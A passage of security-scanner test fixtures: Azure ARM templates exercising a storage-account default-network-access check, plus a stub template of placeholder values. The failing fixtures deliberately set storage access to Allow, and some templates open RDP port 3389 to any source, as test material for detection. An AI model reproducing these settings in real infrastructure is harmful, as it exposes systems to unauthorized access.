\"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[concat(variables('publicIPAddressName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"copy\": {\n        \"name\": \"pipLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-10-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[concat('nic', copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[parameters('vnetName')]\",\n        \"pipLoop\"\n      ],\n      \"copy\": {\n        \"name\": \"nicLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"subnet\": {\n                \"id\": \"[variables('subnetId')[copyIndex()]]\"\n              },\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"apiVersion\": \"[variables('some-variable')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"Storage\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"None\",\n          \"virtualNetworkRules\": [\n            {\n              \"id\": \"[variables('subnetId')[0]]\",\n              \"action\": \"Allow\"\n            }\n          ],\n          \"defaultAction\": \"Deny\"\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"name\": \"as1\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Aligned\"\n      },\n      \"properties\": {\n        \"platformFaultDomainCount\": 2,\n        \"platformUpdateDomainCount\": 2\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[concat(variables('vmName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"nicLoop\",\n        \"Microsoft.Compute/availabilitySets/as1\"\n      ],\n      \"copy\": {\n        \"name\": \"vmLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"availabilitySet\": {\n          \"id\": \"[resourceId('Microsoft.Compute/availabilitySets', 'as1')]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computername\": \"[concat(variables('vmName'), copyIndex())]\",\n          \"adminUsername\": \"[parameters('adminUserName')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2016-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"VM admin user name\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"VM admin password\"\n      }\n    },\n    \"vnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"VNet1\",\n      \"metadata\": {\n        \"description\": \"Name of the virtual network\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the virtual network\"\n      }\n    },\n    \"subnet1Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet1\",\n      \"metadata\": {\n        \"description\": \"Name of the first subnet in the VNet\"\n      }\n    },\n    \"subnet1Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.1.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet1\"\n      }\n    },\n    \"subnet2Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet2\",\n      \"metadata\": {\n        \"description\": \"Name of the second subnet in the VNet\"\n      }\n    },\n    \"subnet2Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.2.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet2\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VM\"\n      }\n    },\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"metadata\": {\n        \"description\": \"Geo-replication type of Storage account\"\n      },\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ]\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[uniqueString(resourceGroup().id)]\",\n    \"publicIpAddressName\": \"pip\",\n    \"vmName\": \"testvm\",\n    \"subnetId\": [\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]\",\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]\"\n    ],\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"3389\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('vnetName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet1Prefix')]\",\n              \"serviceEndpoints\": [\n                {\n                  \"service\": \"Microsoft.Storage\"\n                }\n              ],\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet2Prefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[concat(variables('publicIPAddressName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"copy\": {\n        \"name\": \"pipLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-10-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[concat('nic', copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[parameters('vnetName')]\",\n        \"pipLoop\"\n      ],\n      \"copy\": {\n        \"name\": \"nicLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"subnet\": {\n                \"id\": \"[variables('subnetId')[copyIndex()]]\"\n              },\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"Storage\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"None\",\n          \"virtualNetworkRules\": [\n            {\n              \"id\": \"[variables('subnetId')[0]]\",\n              \"action\": \"Allow\"\n            }\n          ],\n          \"defaultAction\": \"Allow\"\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"name\": \"as1\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Aligned\"\n      },\n      \"properties\": {\n        \"platformFaultDomainCount\": 2,\n        \"platformUpdateDomainCount\": 2\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[concat(variables('vmName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"nicLoop\",\n        \"Microsoft.Compute/availabilitySets/as1\"\n      ],\n      \"copy\": {\n        \"name\": \"vmLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"availabilitySet\": {\n          \"id\": \"[resourceId('Microsoft.Compute/availabilitySets', 'as1')]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computername\": \"[concat(variables('vmName'), copyIndex())]\",\n          \"adminUsername\": \"[parameters('adminUserName')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2016-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-03-01-hybrid/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Admin password\"\n      }\n    },\n    \"a\": {\n      \"type\": \"string\"\n    },\n    \"b\": {\n      \"type\": \"string\"\n    },\n    \"c\": {\n      \"type\": \"string\"\n    },\n    \"e\": {\n      \"type\": \"string\"\n    },\n    \"f\": {\n      \"type\": \"string\"\n    },\n    \"g\": {\n      \"type\": \"string\"\n    },\n    \"h\": {\n      \"type\": \"string\"\n    },\n    \"location\": {\n      \"type\": \"string\"\n    },\n    \"pwd\": {\n      \"type\": \"string\"\n    },\n    \"wsName\": {\n      \"type\": \"string\"\n    },\n    \"BEvirtualMachineNames\": {\n      \"type\": \"string\"\n    },\n    \"BEsubnetIPPrefix\": {\n      \"type\": \"string\"\n    },\n    \"BEnicStartingAddress\": {\n      \"type\": \"string\"\n    },\n    \"onPremDNSServers\": {\n      \"type\": \"string\"\n    },\n    \"metadata\": {\n      \"type\": \"string\"\n    },\n    \"sku\": {\n      \"type\": \"string\"\n    },\n    \"batchSize\": {\n      \"type\": \"string\"\n    },\n    \"dnsLabelPrefix\": {\n      \"type\": \"string\"\n    },\n    \"keyvaultSettings\": {\n      \"type\": \"string\"\n    },\n    \"keyvaultSecrets\": {\n      \"type\": \"string\"\n    },\n    \"newZoneName\": {\n      \"type\": \"string\"\n    },\n    \"nt0InstanceCount\": {\n      \"type\": \"string\"\n    },\n    \"newAccountName\": {\n      \"type\": \"string\"\n    },\n    \"storageAccountId\": {\n      \"type\": \"string\"\n    },\n    \"newRecordName\": {\n      \"type\": \"string\"\n    },\n    \"d\": {\n      \"type\": \"string\"\n    }\n  },\n  \"variables\": {\n    \"loadBalancerName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"This is the name of the load balancer\"\n      }\n    },\n    \"publicIPAddressID1\": \"123\",\n    \"nt0fabricTcpGatewayPort\": \"3000\",\n    \"nt0fabricHttpGatewayPort\": \"3000\",\n    \"lbIPName\": \"loadbalancerIPName\",\n    \"vmNodeType0Name\": \"virtualMachineName\",\n    \"importExportJobName\": \"ieJobName\"\n  },\n  \"outputs\": {\n    \"out1\": {\n      \"type\": \"secureObject\",\n      \"value\": {\n        \"abc\": \"val1\"\n      }\n    }\n  },\n  \"apiProfile\": \"2018-06-01-profile\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/trafficManagerProfiles\",\n      \"apiVersion\": \"2015-11-01\",\n      \"name\": \"a\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"dnsConfig\": {\n          \"relativeName\": \"a\",\n          \"ttl\": \"[trim('a')]\",\n          \"fqdn\": \"a\"\n        },\n        \"monitorConfig\": {\n          \"path\": \"a\",\n          \"port\": 80,\n          \"protocol\": \"HTTP\"\n        },\n        \"trafficRoutingMethod\": \"Performance\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/trafficManagerProfiles\",\n      \"apiVersion\": \"2015-11-01\",\n      \"name\": \"a\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"dnsConfig\": {\n          \"relativeName\": \"a\",\n          \"ttl\": \"[trim('a')]\",\n          \"fqdn\": \"a\"\n        },\n        \"monitorConfig\": {\n          \"path\": \"a\",\n          \"port\": 80,\n          \"protocol\": \"HTTP\"\n        },\n        \"trafficRoutingMethod\": \"Performance\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Cdn/profiles\",\n      \"apiVersion\": \"2015-06-01\",\n      \"name\": \"b\",\n      \"location\": \"Korea South\",\n      \"properties\": {\n        \"accessPolicies\": [],\n        \"sku\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.DataLakeAnalytics/accounts\",\n      \"apiVersion\": \"2015-10-01-preview\",\n      \"location\": \"Australia East\",\n      \"name\": \"DataLakeAnalyticsTest\",\n      \"properties\": {\n        \"dataLakeStoreAccounts\": [],\n        \"defaultDataLakeStoreAccount\": \"[parameters('b')]\",\n        \"storageAccounts\": [\n          {\n            \"name\": \"storageaccounttest\",\n            \"properties\": {\n              \"accessKey\": \"asb\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.DataLakeStore/accounts\",\n      \"apiVersion\": \"2015-10-01-preview\",\n      \"location\": \"Australia East\",\n      \"name\": \"b\",\n      \"properties\": {\n        \"defaultGroup\": \"parameters('b')\",\n        \"firewallRules\": [\n          {\n            \"name\": \"dfadf\",\n            \"properties\": {\n              \"endIpAddress\": \"1.0.0.0\",\n              \"startIpAddress\": \"1.0.0.0\"\n            }\n          }\n        ],\n        \"firewallState\": \"Enabled\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Scheduler/jobCollections\",\n      \"apiVersion\": \"2014-08-01-preview\",\n      \"name\": \"a\",\n      \"location\": \"Central India\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"Free\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.DevTestLab/labs/virtualmachines\",\n      \"apiVersion\": \"2015-05-21-preview\",\n      \"name\": \"[ parameters('b') ]\",\n      \"location\": \"parameters('c')]\",\n      \"properties\": {\n        \"labSubnetName\": \"daf\",\n        \"labVirtualNetworkId\": \"dafda\",\n        \"size\": \"afadfa\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.ContainerService/containerServices\",\n      \"apiVersion\": \"2016-03-30\",\n      \"location\": \"Australia East\",\n      \"name\": \"a\",\n      \"properties\": {\n        \"agentPoolProfiles\": [\n          {\n            \"count\": \"[parameters('c')]\",\n            \"dnsPrefix\": \"dafaf\",\n            \"name\": \"a\",\n            \"vmSize\": \"Standard_A0\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"a\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"afdaf\"\n              }\n            ]\n          }\n        },\n        \"masterProfile\": {\n          \"count\": 1,\n          \"dnsPrefix\": \"afdaf\"\n        },\n        \"orchestratorProfile\": {\n          \"orchestratorType\": \"Swarm\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.PowerBI/workspaceCollections\",\n      \"name\": \"[parameters('a')]\",\n      \"apiVersion\": \"2016-01-29\",\n      \"location\": \"[parameters('a')]\",\n      \"sku\": {\n        \"name\": \"S1\",\n        \"tier\": \"Standard\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/dnszones\",\n      \"apiVersion\": \"2015-05-04-preview\",\n      \"name\": \"adf\",\n      \"location\": \"abcd\",\n      \"properties\": {\n        \"maxNumberOfRecordSets\": \"[parameters('b')]\"\n      },\n      \"tags\": {\n        \"a\": \"n\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts/applications\",\n      \"apiVersion\": \"2015-12-01\",\n      \"name\": \"dafdaf\",\n      \"location\": \"dfadafd\",\n      \"tags\": {\n        \"c\": \"cac\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts\",\n      \"apiVersion\": \"2015-12-01\",\n      \"location\": \"Australia East\",\n      \"name\": \"dafdaf\",\n      \"tags\": {\n        \"c\": \"cac\"\n      },\n      \"properties\": {\n        \"autoStorage\": {\n          \"storageAccountId\": \"afdafa\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.CognitiveServices/accounts\",\n      \"apiVersion\": \"2016-02-01-preview\",\n      \"kind\": \"ComputerVision\",\n      \"location\": \"Australia East\",\n      \"name\": \"adfad\",\n      \"sku\": {\n        \"name\": \"S0\"\n      },\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Cdn/profiles\",\n      \"apiVersion\": \"2015-06-01\",\n      \"name\": \"[parameters('c')]\",\n      \"location\": \"Australia Southeast\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"Premium\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2016-01-01\",\n      \"kind\": \"BlobStorage\",\n      \"name\": \"cdsdf\",\n      \"location\": \"Australia East\",\n      \"sku\": {\n        \"name\": \"Premium_LRS\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Automation/automationAccounts/runbooks\",\n      \"apiVersion\": \"2015-10-31\",\n      \"name\": \"daf\",\n      \"location\": \"Australia East\",\n      \"properties\": {\n        \"publishedContentLink\": \"afdaf\",\n        \"runbookType\": \"Graph\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Automation/automationAccounts/modules\",\n      \"apiVersion\": \"2015-10-31\",\n      \"name\": \"adfdaf\",\n      \"location\": \"Australia East\",\n      \"properties\": {\n        \"contentLink\": {\n          \"uri\": \"afda\",\n          \"contentHash\": {\n            \"algorithm\": \"afd\",\n            \"value\": \"afdaf\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.DevTestLab/labs\",\n      \"apiVersion\": \"2016-05-15\",\n      \"name\": \"adfa\",\n      \"properties\": {\n        \"defaultStorageAccount\": \"abc\",\n        \"labStorageType\": \"Premium\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"virtualmachines\",\n          \"apiVersion\": \"2016-05-15\",\n          \"name\": \"ljkio\",\n          \"properties\": {\n            \"notes\": \"bcde\",\n            \"isAuthenticationWithSshKey\": true\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.DevTestLab/labs/artifactsources\",\n      \"apiVersion\": \"2016-05-15\",\n      \"name\": \"dss\",\n      \"properties\": {\n        \"displayName\": \"jldskl\",\n        \"sourceType\": \"GitHub\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"[parameters(concat('a-', copyIndex()))]\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"parametersLink\": {\n          \"uri\": \"http://a.com/1\",\n          \"contentVersion\": \"1.0.0.0\"\n        },\n        \"templateLink\": {\n          \"uri\": \"http://a.com/1\",\n          \"contentVersion\": \"1.0.0.0\"\n        }\n      },\n      \"copy\": {\n        \"count\": 3,\n        \"name\": \"adfb\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"nestedTemplate\",\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"template\": {\n          \"$schema\": \"http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {},\n          \"resources\": [],\n          \"variables\": {},\n          \"outputs\": {\n            \"result\": {\n              \"value\": \"Hello World\",\n              \"type\": \"string\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/dnszones\",\n      \"apiVersion\": \"2015-05-04-preview\",\n      \"name\": \"zonesWithChildResource\",\n      \"properties\": {\n        \"maxNumberOfRecordSets\": 123,\n        \"numberOfRecordSets\": 32\n      },\n      \"resources\": [\n        {\n          \"type\": \"TXT\",\n          \"apiVersion\": \"2015-05-04-preview\",\n          \"properties\": {}\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Scheduler/jobCollections\",\n      \"apiVersion\": \"2016-03-01\",\n      \"name\": \"mycollection\",\n      \"properties\": {},\n      \"resources\": [\n        {\n          \"name\": \"jobs\",\n          \"type\": \"jobs\",\n          \"apiVersion\": \"2016-03-01\",\n          \"properties\": {}\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Logic/workflows\",\n      \"apiVersion\": \"2015-02-01-preview\",\n      \"name\": \"myflow\",\n      \"properties\": {\n        \"state\": \"Enabled\",\n        \"parameters\": {\n          \"para1\": {\n            \"type\": \"Array\",\n            \"value\": {}\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.RecoveryServices/vaults\",\n      \"apiVersion\": \"2016-06-01\",\n      \"name\": \"vaults\",\n      \"location\": \"East US\",\n      \"sku\": {\n        \"name\": \"RS0\",\n        \"tier\": \"Standard\"\n      },\n      \"properties\": {\n        \"prop1\": \"val1\"\n      },\n      \"tags\": {\n        \"additional\": \"value\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Media/mediaServices\",\n      \"apiVersion\": \"2015-10-01\",\n      \"name\": \"sfdsfw\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"storageAccounts\": [\n          {\n            \"id\": \"123\",\n            \"isPrimary\": false\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Cache/Redis\",\n      \"name\": \"redis\",\n      \"location\": \"East US\",\n      \"apiVersion\": \"2016-04-01\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"Basic\",\n          \"capacity\": 15,\n          \"family\": \"C\"\n        },\n        \"shardCount\": 30,\n        \"tenantSettings\": {\n          \"set1\": \"abc\"\n        },\n        \"subnetId\": \"/subscriptions/123/resourceGroups/abc/providers/Microsoft.Network/virtualNetworks/abc/subnets/sub\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.MachineLearning/workspaces\",\n      \"apiVersion\": \"2016-04-01\",\n      \"location\": \"East US\",\n      \"name\": \"[parameters('wsName')]\",\n      \"properties\": {\n        \"userStorageAccountId\": \"guid\",\n        \"ownerEmail\": \"owner@machinelearning.com\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Devices/IotHubs\",\n      \"apiVersion\": \"2016-02-03\",\n      \"location\": \"East US\",\n      \"name\": \"myiot\",\n      \"resourcegroup\": \"myRg\",\n      \"subscriptionid\": \"mySubscriptionId\",\n      \"properties\": {\n        \"authorizationPolicies\": [\n          {\n            \"keyName\": \"key1\",\n            \"rights\": \"RegistryRead\"\n          }\n        ],\n        \"eventHubEndpoints\": {\n          \"prop1\": {\n            \"partitionCount\": 12,\n            \"retentionTimeInDays\": 12\n          }\n        },\n        \"cloudToDevice\": {\n          \"maxDeliveryCount\": 99,\n          \"defaultTtlAsIso8601\": \"abc\",\n          \"feedback\": {\n            \"lockDurationAsIso8601\": \"123\",\n            \"ttlAsIso8601\": \"33\",\n            \"maxDeliveryCount\": 33\n          }\n        },\n        \"operationsMonitoringProperties\": {\n          \"events\": {\n            \"abc\": \"Error\",\n            \"ds\": \"Error, Information\"\n          }\n        },\n        \"ipFilterRules\": [\n          {\n            \"filterName\": \"name\",\n            \"action\": \"Accept\",\n            \"ipMask\": \"192.168.1.1/24\"\n          }\n        ]\n      },\n      \"sku\": {\n        \"name\": \"F1\",\n        \"capacity\": 1\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[concat(parameters('BEvirtualMachineNames')[copyIndex()],'-nic')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"copy\": {\n        \"name\": \"BEnicLoop\",\n        \"count\": 1\n      },\n      \"dependsOn\": [],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Static\",\n              \"privateIPAddress\": \"[concat(parameters('BEsubnetIPPrefix'),copyIndex(parameters('BEnicStartingAddress')))]\",\n              \"subnet\": {\n                \"id\": \"123\"\n              }\n            }\n          }\n        ],\n        \"dnsSettings\": {\n          \"dnsServers\": \"[skip(parameters('onPremDNSServers'), 3)]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/dnszones\",\n      \"apiVersion\": \"2016-04-01\",\n      \"name\": \"myzones\",\n      \"location\": \"Canada Central\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Logic/workflows\",\n      \"apiVersion\": \"2016-06-01\",\n      \"name\": \"myflows\",\n      \"properties\": {\n        \"state\": \"Suspended\",\n        \"sku\": {\n          \"name\": \"NotSpecified\",\n          \"plan\": {\n            \"id\": \"123\"\n          }\n        },\n        \"definition\": {\n          \"prop1\": \"val1\"\n        },\n        \"parameters\": {\n          \"para1\": {\n            \"type\": \"Bool\",\n            \"value\": {},\n            \"metadata\": \"[parameters('metadata')]\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2016-03-30\",\n      \"name\": \"myextension\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"publisher\": \"publisher\",\n        \"settings\": {},\n        \"type\": \"mytype\",\n        \"typeHandlerVersion\": \"123\",\n        \"autoUpgradeMinorVersion\": \"abc\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"myextension\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"publisher\": \"publisher\",\n        \"settings\": {},\n        \"type\": \"mytype\",\n        \"typeHandlerVersion\": \"123\",\n        \"autoUpgradeMinorVersion\": \"abc\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2015-06-15\",\n      \"name\": \"extension1\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.Diagnostics\",\n        \"type\": \"IaaSDiagnostics\",\n        \"typeHandlerVersion\": \"12\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"xmlCfg\": 